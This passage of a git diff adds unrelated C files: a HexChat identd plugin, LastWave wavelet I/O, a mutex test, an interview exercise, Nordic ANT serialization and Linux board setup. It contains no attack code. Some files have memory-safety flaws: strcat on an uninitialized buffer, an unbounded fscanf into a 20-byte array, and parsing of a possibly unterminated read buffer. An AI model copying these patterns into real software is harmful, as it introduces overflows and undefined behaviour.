+* it under the terms of the GNU General Public License as published by
+* the Free Software Foundation; either version 2 of the License, or
+* (at your option) any later version.
+*
+* This program is distributed in the hope that it will be useful,
+* but WITHOUT ANY WARRANTY; without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+* GNU General Public License for more details.
+*
+* You should have received a copy of the GNU General Public License
+* along with this program; if not, write to the Free Software
+* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+*/
+
+#include "config.h"
+
+#include <string.h>
+#include <gio/gio.h>
+#include "hexchat-plugin.h"
+
+#define _(x) hexchat_gettext(ph,x)
+
+static hexchat_plugin *ph;
+static GSocketService *service;
+static GHashTable *responses;
+
+typedef struct ident_info
+{
+	GSocketConnection *conn;
+	gchar *username;
+	gchar read_buf[16];
+} ident_info;
+
+static int
+identd_cleanup_response_cb (gpointer userdata)
+{
+	g_return_val_if_fail (responses != NULL, 0);
+
+	g_hash_table_remove (responses, userdata);
+
+	return 0;
+}
+
+static int
+identd_command_cb (char *word[], char *word_eol[], void *userdata)
+{
+	g_return_val_if_fail (responses != NULL, HEXCHAT_EAT_ALL);
+
+	if (service == NULL) /* If we are not running plugins can handle it */
+		return HEXCHAT_EAT_HEXCHAT;
+
+	if (word[2] && *word[2] && word[3] && *word[3])
+	{
+		guint64 port = g_ascii_strtoull (word[2], NULL, 0);
+
+		if (port && port <= G_MAXUINT16)
+		{
+			g_hash_table_insert (responses, GINT_TO_POINTER (port), g_strdup (word[3]));
+			/* Automatically remove entry after 30 seconds */
+			hexchat_hook_timer (ph, 30000, identd_cleanup_response_cb, GINT_TO_POINTER (port));
+		}
+	}
+	else
+	{
+		hexchat_command (ph, "HELP IDENTD");
+	}
+
+	return HEXCHAT_EAT_ALL;
+}
+
+static void
+identd_write_ready (GOutputStream *stream, GAsyncResult *res, ident_info *info)
+{
+	g_output_stream_write_finish (stream, res, NULL);
+
+	g_free (info->username);
+	g_object_unref (info->conn);
+	g_free (info);
+}
+
+static void
+identd_read_ready (GInputStream *in_stream, GAsyncResult *res, ident_info *info)
+{
+	GSocketAddress *sok_addr;
+	GOutputStream *out_stream;
+	guint64 local, remote;
+	gchar buf[512], *p;
+
+	if (g_input_stream_read_finish (in_stream, res, NULL))
+	{
+		local = g_ascii_strtoull (info->read_buf, NULL, 0);
+		p = strchr (info->read_buf, ',');
+		if (!p)
+			goto cleanup;
+
+		remote = g_ascii_strtoull (p + 1, NULL, 0);
+
+		if (!local || !remote || local > G_MAXUINT16 || remote > G_MAXUINT16)
+			goto cleanup;
+
+		info->username = g_strdup (g_hash_table_lookup (responses, GINT_TO_POINTER (local)));
+		if (!info->username)
+			goto cleanup;
+		g_hash_table_remove (responses, GINT_TO_POINTER (local));
+
+		if ((sok_addr = g_socket_connection_get_remote_address (info->conn, NULL)))
+		{
+			GInetAddress *inet_addr;
+			gchar *addr;
+
+			inet_addr = g_inet_socket_address_get_address (G_INET_SOCKET_ADDRESS (sok_addr));
+			addr = g_inet_address_to_string (inet_addr);
+
+			hexchat_printf (ph, _("*\tServicing ident request from %s as %s"), addr, info->username);
+
+			g_object_unref (sok_addr);
+			g_object_unref (inet_addr);
+			g_free (addr);
+		}
+
+		g_snprintf (buf, sizeof (buf), "%"G_GUINT16_FORMAT", %"G_GUINT16_FORMAT" : USERID : UNIX : %s\r\n", (guint16)local, (guint16)remote, info->username);
+		out_stream = g_io_stream_get_output_stream (G_IO_STREAM (info->conn));
+		g_output_stream_write_async (out_stream, buf, strlen (buf), G_PRIORITY_DEFAULT,
+									NULL, (GAsyncReadyCallback)identd_write_ready, info);
+	}
+
+	return;
+
+cleanup:
+	g_object_unref (info->conn);
+	g_free (info);
+}
+
+static gboolean
+identd_incoming_cb (GSocketService *service, GSocketConnection *conn,
+					GObject *source, gpointer userdata)
+{
+	GInputStream *stream;
+	ident_info *info;
+
+	info = g_new0 (ident_info, 1);
+
+	info->conn = conn;
+	g_object_ref (conn);
+
+	stream = g_io_stream_get_input_stream (G_IO_STREAM (conn));
+	g_input_stream_read_async (stream, info->read_buf, sizeof (info->read_buf), G_PRIORITY_DEFAULT,
+							NULL, (GAsyncReadyCallback)identd_read_ready, info);
+
+	return TRUE;
+}
+
+static void
+identd_start_server (void)
+{
+	GError *error = NULL;
+	int enabled, port = 113;
+
+	if (hexchat_get_prefs (ph, "identd", NULL, &enabled) == 3)
+	{
+		if (!enabled)
+			return;
+	}
+	if (hexchat_get_prefs (ph, "identd_port", NULL, &port) == 2 && (port <= 0 || port > G_MAXUINT16))
+	{
+		port = 113;
+	}
+
+	service = g_socket_service_new ();
+
+	g_socket_listener_add_inet_port (G_SOCKET_LISTENER (service), port, NULL, &error);
+	if (error)
+	{
+		hexchat_printf (ph, _("*\tError starting identd server: %s"), error->message);
+
+		g_object_unref (service);
+		service = NULL;
+		return;
+	}
+	/*hexchat_printf (ph, "*\tIdentd listening on port: %d", port); */
+
+	g_signal_connect (G_OBJECT (service), "incoming", G_CALLBACK(identd_incoming_cb), NULL);
+	g_socket_service_start (service);
+}
+
+int
+identd_plugin_init (hexchat_plugin *plugin_handle, char **plugin_name,
+					char **plugin_desc, char **plugin_version, char *arg)
+{
+	ph = plugin_handle;
+	*plugin_name = "";
+	*plugin_desc = "";
+	*plugin_version = "";
+
+
+	responses = g_hash_table_new_full (NULL, NULL, NULL, g_free);
+	hexchat_hook_command (ph, "IDENTD", HEXCHAT_PRI_NORM, identd_command_cb,
+						_("IDENTD <port> <username>"), NULL);
+
+	identd_start_server ();
+
+	return 1; /* This must always succeed for /identd to work */
+}
+
+int
+identd_plugin_deinit (void)
+{
+	if (service)
+	{
+		g_socket_service_stop (service);
+		g_object_unref (service);
+	}
+
+	g_hash_table_destroy (responses);
+
+	return 1;
+}
diff --git a/pool/shard001/C/0025541_dwtrans2_io.c b/pool/shard001/C/0025541_dwtrans2_io.c
new file mode 100644
index 0000000000000000000000000000000000000000..474c2c4d60840de01eaa8be042f4bdf640972079
--- /dev/null
+++ b/pool/shard001/C/0025541_dwtrans2_io.c
@@ -0,0 +1,181 @@
+/*..........................................................................*/
+/*                                                                          */
+/*      L a s t W a v e    P a c k a g e 'dwtrans2d' 2.0                    */
+/*                                                                          */
+/*      Copyright (C) 1998-2002  E.Bacry, J.Fraleu, J.Kalifa, E. Le Pennec, */
+/*                         W.L. Hwang , S.Mallat, S.Zhong                   */
+/*      emails : lastwave@cmap.polytechnique.fr                             */
+/*               fraleu@cmap.polytechnique.fr                               */
+/*               kalifa@cmap.polytechnique.fr                               */
+/*               lepennec@cmap.polytechnique.fr                             */
+/*               mallat@cmap.polytechnique.fr                               */
+/*               whwang@iis.sinica.edu.tw                                   */
+/*               szhong@chelsea.princeton.edu                               */
+/*                                                                          */
+/*..........................................................................*/
+/*                                                                          */
+/*      This program is a free software, you can redistribute it and/or     */
+/*      modify it under the terms of the GNU General Public License as      */
+/*      published by the Free Software Foundation; either version 2 of the  */
+/*      License, or (at your option) any later version                      */
+/*                                                                          */
+/*      This program is distributed in the hope that it will be useful,     */
+/*      but WITHOUT ANY WARRANTY; without even the implied warranty of      */
+/*      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the       */
+/*      GNU General Public License for more details.                        */
+/*                                                                          */
+/*      You should have received a copy of the GNU General Public License   */
+/*      along with this program (in a file named COPYRIGHT);                */
+/*      if not, write to the Free Software Foundation, Inc.,                */
+/*      59 Temple Place, Suite 330, Boston, MA  02111-1307  USA             */
+/*                                                                          */
+/*..........................................................................*/
+
+
+
+
+/****************************************************************************/
+/*                                                                          */
+/*    wtrans2_IO.c       write/read a wtrans2                               */
+/*                                                                          */
+/****************************************************************************/
+
+#include "lastwave.h"
+#include "dwtrans2d.h"
+  
+/****************************************************
+ *
+ *         Read a wtrans2                           
+ *
+ ****************************************************/
+
+void  ReadWtrans2(WTRANS2 wtrans, STREAM s)
+{
+  int noct,norient,o,v,periodic;
+  int n=0;
+  char wName[20];
+  FILE *stream;
+ /* Some basic tests on the stream */
+  if (s->mode != StreamRead) Errorf("ReadWtrans2() :The stream should be an input stream and not an output stream"); 
+  if (s->stream == NULL) Errorf("ReadWtrans2() : You cannot write a wtrans2 to standard input"); 
+  stream = s->stream; 
+
+ /* Let's read the header */
+  n = 0;
+  n += fscanf(stream,"Wavelet name : %s ",wName);
+  n += fscanf(stream,"Number octaves %d ",&noct);
+  n += fscanf(stream,"Number orientations %d ",&norient);
+  n += fscanf(stream,"Periodic %d ",&periodic);
+  if (n != 4) Errorf("Error in the header of the file");
+
+  wtrans->noct = noct;
+  wtrans->norient = norient;
+  
+  if (wtrans->wName != NULL) Free(wtrans->wName);
+  wtrans->wName = CopyStr(wName);
+
+  ReadImageStream(wtrans->images[0][0],s,YES,0,0,NO);
+  for(o=1;o<=wtrans->noct;o++)
+      for(v=0;v<wtrans->norient;v++) {
+           ReadImageStream(wtrans->images[o][v],s,YES,0,0,NO);          
+      }
+}
+
+
+  
+void C_DW2Read(char ** argv)
+{ 
+  char *fname;
+  WTRANS2 wtrans=NULL;
+  STREAM s;
+
+  argv = ParseArgv(argv,tWTRANS2_,NULL,&wtrans,-1);
+  if (wtrans ==NULL) wtrans= GetWtrans2Cur();
+  
+ 
+  argv= ParseArgv(argv,tSTREAM_,NULL,&s,-1);
+ 
+   if (s == NULL) {
+       argv = ParseArgv(argv,tSTR,&fname,0);
+       s =  OpenFileStream(fname,"r");
+       if (s == NULL) Errorf("W2Read() : Error while opening the file %s",fname);
+
+ 
+     if (!s->stream) 
+          Errorf("unable to open %s\n",fname);
+         
+        ReadWtrans2(wtrans, s);
+      
+     
+   }
+ else {
+           ReadWtrans2(wtrans, s);
+     }
+ 
+    CloseStream(s);	
+} 
+
+
+void  WriteWtrans2(WTRANS2 wtrans, STREAM s)
+{
+  int o,v;
+  FILE *stream;
+ /* Some basic tests on the stream */
+  if (s->mode != StreamWrite) Errorf("WriteWtrans2() :The stream should be an input stream and not an output stream"); 
+  if (s->stream == NULL) Errorf("WriteWtrans2() : You cannot write a wtrans2 to standard input"); 
+  stream = s->stream; 
+
+ /* Let's print the header */
+   if (wtrans->wName) fprintf(stream,"Wavelet name : %s ",wtrans->wName);
+   else fprintf(stream,"Wavelet name : NoName ");
+   fprintf(stream,"Number octaves %d ",wtrans->noct);
+   fprintf(stream,"Number orientations %d ",wtrans->norient);
+   fprintf(stream,"Periodic %d ",wtrans->periodic);
+
+  WriteImageStream(wtrans->images[0][0],s,NO,0,0,YES);
+
+  for(o=1;o<=wtrans->noct;o++)
+	for(v=0;v<wtrans->norient;v++) 
+        WriteImageStream(wtrans->images[o][v],s,NO,0,0,YES);
+}
+
+   
+
+/****************************/
+/* write a wtrans2 to a file */
+/****************************/
+
+void C_DW2Write(char**argv)
+     
+{
+  char *fname;
+  STREAM s;
+   WTRANS2 wtrans=NULL;
+  
+  argv = ParseArgv(argv,tWTRANS2_,NULL,&wtrans,-1);
+  if (wtrans ==NULL) wtrans= GetWtrans2Cur();
+  argv= ParseArgv(argv,tSTREAM_,NULL,&s,-1);
+ 
+  
+  if (s == NULL) {
+       argv = ParseArgv(argv,tSTR,&fname,0);
+          
+       s =  OpenFileStream(fname,"w");
+       if (s == NULL) Errorf("W2Write() : Error while opening the file %s",fname);
+
+    if (!s->stream) 
+          Errorf("unable to open %s\n",fname);
+         CheckWtrans2(wtrans); 
+        WriteWtrans2(wtrans, s);
+      
+      
+  }
+    else {  NoMoreArgs(argv);
+             CheckWtrans2(wtrans);
+           WriteWtrans2(wtrans, s);
+     }
+
+    CloseStream(s);	
+    
+} 
+ 
diff --git a/pool/shard001/C/0025542_mutex.c b/pool/shard001/C/0025542_mutex.c
new file mode 100644
index 0000000000000000000000000000000000000000..36d5d0fabcc4bd9c37a97c6b78656f2ad9088dea
--- /dev/null
+++ b/pool/shard001/C/0025542_mutex.c
@@ -0,0 +1,46 @@
+/****************************************************
+ * This is a test that will test mutexes            *
+ ****************************************************/
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "carbon_user.h"
+
+carbon_mutex_t my_mux;
+
+// Functions executed by threads
+void* test_mutex(void * threadid);
+
+int main(int argc, char* argv[])  // main begins
+{
+   CarbonStartSim(argc, argv);
+
+   const unsigned int num_threads = 1;
+   carbon_thread_t threads[num_threads];
+
+   for(unsigned int i = 0; i < num_threads; i++)
+       threads[i] = CarbonSpawnThread(test_mutex, (void *) i);
+
+   for(unsigned int i = 0; i < num_threads; i++)
+       CarbonJoinThread(threads[i]);
+
+   printf("Finished running mutex test!.\n");
+
+   CarbonStopSim();
+
+   return 0;
+} // main ends
+
+
+void* test_mutex(void *threadid)
+{
+   CarbonMutexInit(&my_mux);
+   CarbonMutexLock(&my_mux);
+   CarbonMutexUnlock(&my_mux);
+
+   return NULL;
+}
+
diff --git a/pool/shard001/C/0025548_1-1_laakman4ed.c b/pool/shard001/C/0025548_1-1_laakman4ed.c
new file mode 100644
index 0000000000000000000000000000000000000000..9365ec06b777684121f5cfca09c62318f368bbd7
--- /dev/null
+++ b/pool/shard001/C/0025548_1-1_laakman4ed.c
@@ -0,0 +1,77 @@
+/***************************************************************************
+* Problem Source: Cracking the Coding Interview 4th edition by Gayle Laakman
+* Check if the given string contains only unique characters.
+***************************************************************************/
+
+#include <stdbool.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+// Given string and char, check if char is in string.
+// O(n) in the number of characters
+bool find( char myString[], char c )
+{
+  bool result = false ;
+
+  for( int i = 0 ; i < strlen( myString ) ; i = i + 1)
+  {
+    if( myString[i] == c )
+    {
+      result = true ;
+      break ;
+    }
+  }
+
+  return result ;
+}
+
+bool checkUnique( char* myString )
+{
+  bool result = true ;
+
+  int size = strlen( myString ) ;
+  char temp[ size ] ; // not initialized
+  strcat( temp, "" ) ;
+
+  for( int i = 0 ; i < size ; i = i + 1 )
+  {
+    char currChar = myString[i] ;
+    if( find( temp, currChar ) )
+    {
+      result = false ;
+      break ;
+    }
+    else
+    {
+      size_t currSize = 1 ;
+      char* newCharString = malloc( 1 + 1 ) ;
+      newCharString[ 0 ] = currChar ;
+      newCharString[ 1 ] = '\0' ;
+      strcat( temp, newCharString ) ;
+    }
+  }
+
+  return result ;
+}
+
+int main( int argc, char** argv )
+{
+  if( argc < 2 )
+  {
+    printf( "ERROR: Please run as ./a.out <stringToExamine>\n" ) ;
+    exit( -1 ) ;
+  }
+
+  // get command line argument
+  char* myString = argv[1] ;
+
+  bool result = true ;
+
+  result = checkUnique( myString  ) ;
+
+  printf( "String to test          :  %s\n", myString ) ;
+  printf( "Only unique characters? :  %d\n", result ) ;
+
+  return 0 ;
+}
diff --git a/pool/shard001/C/0025561_ant_active_search_sharing_cycles_set.c b/pool/shard001/C/0025561_ant_active_search_sharing_cycles_set.c
new file mode 100644
index 0000000000000000000000000000000000000000..41d2e3e164b538708bca454be927f85d2949aae1
--- /dev/null
+++ b/pool/shard001/C/0025561_ant_active_search_sharing_cycles_set.c
@@ -0,0 +1,78 @@
+/**
+ * Copyright (c) 2017 - 2017, Nordic Semiconductor ASA
+ * 
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without modification,
+ * are permitted provided that the following conditions are met:
+ * 
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ *    list of conditions and the following disclaimer.
+ * 
+ * 2. Redistributions in binary form, except as embedded into a Nordic
+ *    Semiconductor ASA integrated circuit in a product or a software update for
+ *    such product, must reproduce the above copyright notice, this list of
+ *    conditions and the following disclaimer in the documentation and/or other
+ *    materials provided with the distribution.
+ * 
+ * 3. Neither the name of Nordic Semiconductor ASA nor the names of its
+ *    contributors may be used to endorse or promote products derived from this
+ *    software without specific prior written permission.
+ * 
+ * 4. This software, with or without modification, must only be used with a
+ *    Nordic Semiconductor ASA integrated circuit.
+ * 
+ * 5. Any software provided in binary form under this license must not be reverse
+ *    engineered, decompiled, modified and/or disassembled.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY NORDIC SEMICONDUCTOR ASA "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+ * OF MERCHANTABILITY, NONINFRINGEMENT, AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL NORDIC SEMICONDUCTOR ASA OR CONTRIBUTORS BE
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
+ * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
+ * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ * 
+ */
+
+#include <string.h>
+#include "ant_conn.h"
+#include "ble_serialization.h"
+#include "cond_field_serialization.h"
+#include "ant_struct_serialization.h"
+#include "app_util.h"
+
+uint32_t ant_active_search_sharing_cycles_set_req_dec(uint8_t const * const p_buf,
+                                                      uint32_t              packet_len,
+                                                      uint8_t * const       p_channel,
+                                                      uint8_t * const       p_cycles)
+{
+    uint32_t index = SER_CMD_DATA_POS;
+    uint32_t err_code;
+
+    SER_ASSERT_NOT_NULL(p_buf);
+    SER_ASSERT_NOT_NULL(p_channel);
+    SER_ASSERT_NOT_NULL(p_cycles);
+
+    err_code = uint8_t_dec(p_buf, packet_len, &index, p_channel);
+    SER_ASSERT(err_code == NRF_SUCCESS, err_code);
+
+    err_code = uint8_t_dec(p_buf, packet_len, &index, p_cycles);
+    SER_ASSERT(err_code == NRF_SUCCESS, err_code);
+
+    SER_ASSERT_LENGTH_EQ(index, packet_len);
+
+    return err_code;
+}
+
+uint32_t ant_active_search_sharing_cycles_set_rsp_enc(uint32_t         return_code,
+                                                      uint8_t * const  p_buf,
+                                                      uint32_t * const p_buf_len)
+{
+    uint32_t index = 0;
+
+    return op_status_enc(SVC_ANT_ACTIVE_SEARCH_SHARING_CYCLES_SET, return_code, p_buf, p_buf_len, &index);
+}
diff --git a/pool/shard001/C/0025563_setup.c b/pool/shard001/C/0025563_setup.c
new file mode 100644
index 0000000000000000000000000000000000000000..f3b8b07ea5d65a922d8a4d98114ca884db589d93
--- /dev/null
+++ b/pool/shard001/C/0025563_setup.c
@@ -0,0 +1,394 @@
+/*
+ * linux/arch/sh/boards/magicpanel/setup.c
+ *
+ *  Copyright (C) 2007  Markus Brunner, Mark Jonas
+ *
+ *  Magic Panel Release 2 board setup
+ *
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file "COPYING" in the main directory of this archive
+ * for more details.
+ */
+#include <linux/init.h>
+#include <linux/irq.h>
+#include <linux/platform_device.h>
+#include <linux/delay.h>
+#include <linux/mtd/mtd.h>
+#include <linux/mtd/partitions.h>
+#include <linux/mtd/physmap.h>
+#include <linux/mtd/map.h>
+#include <asm/magicpanelr2.h>
+#include <asm/heartbeat.h>
+
+#define LAN9115_READY	(ctrl_inl(0xA8000084UL) & 0x00000001UL)
+
+/* Prefer cmdline over RedBoot */
+static const char *probes[] = { "cmdlinepart", "RedBoot", NULL };
+
+/* Wait until reset finished. Timeout is 100ms. */
+static int __init ethernet_reset_finished(void)
+{
+	int i;
+
+	if (LAN9115_READY)
+		return 1;
+
+	for (i = 0; i < 10; ++i) {
+		mdelay(10);
+		if (LAN9115_READY)
+			return 1;
+	}
+
+	return 0;
+}
+
+static void __init reset_ethernet(void)
+{
+	/* PMDR: LAN_RESET=on */
+	CLRBITS_OUTB(0x10, PORT_PMDR);
+
+	udelay(200);
+
+	/* PMDR: LAN_RESET=off */
+	SETBITS_OUTB(0x10, PORT_PMDR);
+}
+
+static void __init setup_chip_select(void)
+{
+	/* CS2: LAN (0x08000000 - 0x0bffffff) */
+	/* no idle cycles, normal space, 8 bit data bus */
+	ctrl_outl(0x36db0400, CS2BCR);
+	/* (SW:1.5 WR:3 HW:1.5), ext. wait */
+	ctrl_outl(0x000003c0, CS2WCR);
+
+	/* CS4: CAN1 (0xb0000000 - 0xb3ffffff) */
+	/* no idle cycles, normal space, 8 bit data bus */
+	ctrl_outl(0x00000200, CS4BCR);
+	/* (SW:1.5 WR:3 HW:1.5), ext. wait */
+	ctrl_outl(0x00100981, CS4WCR);
+
+	/* CS5a: CAN2 (0xb4000000 - 0xb5ffffff) */
+	/* no idle cycles, normal space, 8 bit data bus */
+	ctrl_outl(0x00000200, CS5ABCR);
+	/* (SW:1.5 WR:3 HW:1.5), ext. wait */
+	ctrl_outl(0x00100981, CS5AWCR);
+
+	/* CS5b: CAN3 (0xb6000000 - 0xb7ffffff) */
+	/* no idle cycles, normal space, 8 bit data bus */
+	ctrl_outl(0x00000200, CS5BBCR);
+	/* (SW:1.5 WR:3 HW:1.5), ext. wait */
+	ctrl_outl(0x00100981, CS5BWCR);
+
+	/* CS6a: Rotary (0xb8000000 - 0xb9ffffff) */
+	/* no idle cycles, normal space, 8 bit data bus */
+	ctrl_outl(0x00000200, CS6ABCR);
+	/* (SW:1.5 WR:3 HW:1.5), no ext. wait */
+	ctrl_outl(0x001009C1, CS6AWCR);
+}
+
+static void __init setup_port_multiplexing(void)
+{
+	/* A7 GPO(LED8);     A6 GPO(LED7);     A5 GPO(LED6);	  A4 GPO(LED5);
+	 * A3 GPO(LED4);     A2 GPO(LED3);     A1 GPO(LED2);	  A0 GPO(LED1);
+	 */
+	ctrl_outw(0x5555, PORT_PACR);	/* 01 01 01 01 01 01 01 01 */
+
+	/* B7 GPO(RST4);   B6 GPO(RST3);  B5 GPO(RST2);    B4 GPO(RST1);
+	 * B3 GPO(PB3);	   B2 GPO(PB2);	  B1 GPO(PB1);	   B0 GPO(PB0);
+	 */
+	ctrl_outw(0x5555, PORT_PBCR);	/* 01 01 01 01 01 01 01 01 */
+
+	/* C7 GPO(PC7);	  C6 GPO(PC6);	  C5 GPO(PC5);	   C4 GPO(PC4);
+	 * C3 LCD_DATA3;  C2 LCD_DATA2;   C1 LCD_DATA1;	   C0 LCD_DATA0;
+	 */
+	ctrl_outw(0x5500, PORT_PCCR);	/* 01 01 01 01 00 00 00 00 */
+
+	/* D7 GPO(PD7);	D6 GPO(PD6);	D5 GPO(PD5);	   D4 GPO(PD4);
+	 * D3 GPO(PD3);	D2 GPO(PD2);	D1 GPO(PD1);	   D0 GPO(PD0);
+	 */
+	ctrl_outw(0x5555, PORT_PDCR);	/* 01 01 01 01 01 01 01 01 */
+
+	/* E7 (x);	  E6 GPI(nu);	 E5 GPI(nu);	  E4 LCD_M_DISP;
+	 * E3 LCD_CL1;	  E2 LCD_CL2;	 E1 LCD_DON;	  E0 LCD_FLM;
+	 */
+	ctrl_outw(0x3C00, PORT_PECR);	/* 00 11 11 00 00 00 00 00 */
+
+	/* F7 (x);	     F6 DA1(VLCD);     F5 DA0(nc);	  F4 AN3;
+	 * F3 AN2(MID_AD);   F2 AN1(EARTH_AD); F1 AN0(TEMP);	  F0 GPI+(nc);
+	 */
+	ctrl_outw(0x0002, PORT_PFCR);	/* 00 00 00 00 00 00 00 10 */
+
+	/* G7 (x);	  G6 IRQ5(TOUCH_BUSY); G5 IRQ4(TOUCH_IRQ); G4 GPI(KEY2);
+	 * G3 GPI(KEY1);  G2 GPO(LED11);	G1 GPO(LED10);     G0 GPO(LED9);
+	 */
+	ctrl_outw(0x03D5, PORT_PGCR);	/* 00 00 00 11 11 01 01 01 */
+
+	/* H7 (x);	      H6 /RAS(BRAS);	  H5 /CAS(BCAS); H4 CKE(BCKE);
+	 * H3 GPO(EARTH_OFF); H2 GPO(EARTH_TEST); H1 USB2_PWR;	 H0 USB1_PWR;
+	 */
+	ctrl_outw(0x0050, PORT_PHCR);	/* 00 00 00 00 01 01 00 00 */
+
+	/* J7 (x);	  J6 AUDCK;	   J5 ASEBRKAK;	    J4 AUDATA3;
+	 * J3 AUDATA2;	  J2 AUDATA1;	   J1 AUDATA0;	    J0 AUDSYNC;
+	 */
+	ctrl_outw(0x0000, PORT_PJCR);	/* 00 00 00 00 00 00 00 00 */
+
+	/* K7 (x);	    K6 (x);	     K5 (x);	   K4 (x);
+	 * K3 PINT7(/PWR2); K2 PINT6(/PWR1); K1 PINT5(nu); K0 PINT4(FLASH_READY)
+	 */
+	ctrl_outw(0x00FF, PORT_PKCR);	/* 00 00 00 00 11 11 11 11 */
+
+	/* L7 TRST;	   L6 TMS;	     L5 TDO;		  L4 TDI;
+	 * L3 TCK;	   L2 (x);	     L1 (x);		  L0 (x);
+	 */
+	ctrl_outw(0x0000, PORT_PLCR);	/* 00 00 00 00 00 00 00 00 */
+
+	/* M7 GPO(CURRENT_SINK);    M6 GPO(PWR_SWITCH);     M5 GPO(LAN_SPEED);
+	 * M4 GPO(LAN_RESET);       M3 GPO(BUZZER);	    M2 GPO(LCD_BL);
+	 * M1 CS5B(CAN3_CS);	    M0 GPI+(nc);
+	 */
+	ctrl_outw(0x5552, PORT_PMCR);	   /* 01 01 01 01 01 01 00 10 */
+
+	/* CURRENT_SINK=off,	PWR_SWITCH=off, LAN_SPEED=100MBit,
+	 * LAN_RESET=off,	BUZZER=off,	LCD_BL=off
+	 */
+#if CONFIG_SH_MAGIC_PANEL_R2_VERSION == 2
+	ctrl_outb(0x30, PORT_PMDR);
+#elif CONFIG_SH_MAGIC_PANEL_R2_VERSION == 3
+	ctrl_outb(0xF0, PORT_PMDR);
+#else
+#error Unknown revision of PLATFORM_MP_R2
+#endif
+
+	/* P7 (x);	       P6 (x);		  P5 (x);
+	 * P4 GPO(nu);	       P3 IRQ3(LAN_IRQ);  P2 IRQ2(CAN3_IRQ);
+	 * P1 IRQ1(CAN2_IRQ);  P0 IRQ0(CAN1_IRQ)
+	 */
+	ctrl_outw(0x0100, PORT_PPCR);	/* 00 00 00 01 00 00 00 00 */
+	ctrl_outb(0x10, PORT_PPDR);
+
+	/* R7 A25;	     R6 A24;	     R5 A23;		  R4 A22;
+	 * R3 A21;	     R2 A20;	     R1 A19;		  R0 A0;
+	 */
+	ctrl_outw(0x0000, PORT_PRCR);	/* 00 00 00 00 00 00 00 00 */
+
+	/* S7 (x);		S6 (x);        S5 (x);	     S4 GPO(EEPROM_CS2);
+	 * S3 GPO(EEPROM_CS1);  S2 SIOF0_TXD;  S1 SIOF0_RXD; S0 SIOF0_SCK;
+	 */
+	ctrl_outw(0x0140, PORT_PSCR);	/* 00 00 00 01 01 00 00 00 */
+
+	/* T7 (x);	   T6 (x);	  T5 (x);	  T4 COM1_CTS;
+	 * T3 COM1_RTS;	   T2 COM1_TXD;	  T1 COM1_RXD;	  T0 GPO(WDOG)
+	 */
+	ctrl_outw(0x0001, PORT_PTCR);	/* 00 00 00 00 00 00 00 01 */
+
+	/* U7 (x);	     U6 (x);	   U5 (x);	  U4 GPI+(/AC_FAULT);
+	 * U3 GPO(TOUCH_CS); U2 TOUCH_TXD; U1 TOUCH_RXD;  U0 TOUCH_SCK;
+	 */
+	ctrl_outw(0x0240, PORT_PUCR);	/* 00 00 00 10 01 00 00 00 */
+
+	/* V7 (x);	  V6 (x);	V5 (x);		  V4 GPO(MID2);
+	 * V3 GPO(MID1);  V2 CARD_TxD;	V1 CARD_RxD;	  V0 GPI+(/BAT_FAULT);
+	 */
+	ctrl_outw(0x0142, PORT_PVCR);	/* 00 00 00 01 01 00 00 10 */
+}
+
+static void __init mpr2_setup(char **cmdline_p)
+{
+	__set_io_port_base(0xa0000000);
+
+	/* set Pin Select Register A:
+	 * /PCC_CD1, /PCC_CD2,  PCC_BVD1, PCC_BVD2,
+	 * /IOIS16,  IRQ4,	IRQ5,	  USB1d_SUSPEND
+	 */
+	ctrl_outw(0xAABC, PORT_PSELA);
+	/* set Pin Select Register B:
+	 * /SCIF0_RTS, /SCIF0_CTS, LCD_VCPWC,
+	 * LCD_VEPWC,  IIC_SDA,    IIC_SCL, Reserved
+	 */
+	ctrl_outw(0x3C00, PORT_PSELB);
+	/* set Pin Select Register C:
+	 * SIOF1_SCK, SIOF1_RxD, SCIF1_RxD, SCIF1_TxD, Reserved
+	 */
+	ctrl_outw(0x0000, PORT_PSELC);
+	/* set Pin Select Register D: Reserved, SIOF1_TxD, Reserved, SIOF1_MCLK,
+	 * Reserved, SIOF1_SYNC, Reserved, SCIF1_SCK, Reserved
+	 */
+	ctrl_outw(0x0000, PORT_PSELD);
+	/* set USB TxRx Control: Reserved, DRV, Reserved, USB_TRANS, USB_SEL */
+	ctrl_outw(0x0101, PORT_UTRCTL);
+	/* set USB Clock Control: USSCS, USSTB, Reserved (HighByte always A5) */
+	ctrl_outw(0xA5C0, PORT_UCLKCR_W);
+
+	setup_chip_select();
+
+	setup_port_multiplexing();
+
+	reset_ethernet();
+
+	printk(KERN_INFO "Magic Panel Release 2 A.%i\n",
+				CONFIG_SH_MAGIC_PANEL_R2_VERSION);
+
+	if (ethernet_reset_finished() == 0)
+		printk(KERN_WARNING "Ethernet not ready\n");
+}
+
+static struct resource smc911x_resources[] = {
+	[0] = {
+		.start		= 0xa8000000,
+		.end		= 0xabffffff,
+		.flags		= IORESOURCE_MEM,
+	},
+	[1] = {
+		.start		= 35,
+		.end		= 35,
+		.flags		= IORESOURCE_IRQ,
+	},
+};
+
+static struct platform_device smc911x_device = {
+	.name		= "smc911x",
+	.id		= -1,
+	.num_resources	= ARRAY_SIZE(smc911x_resources),
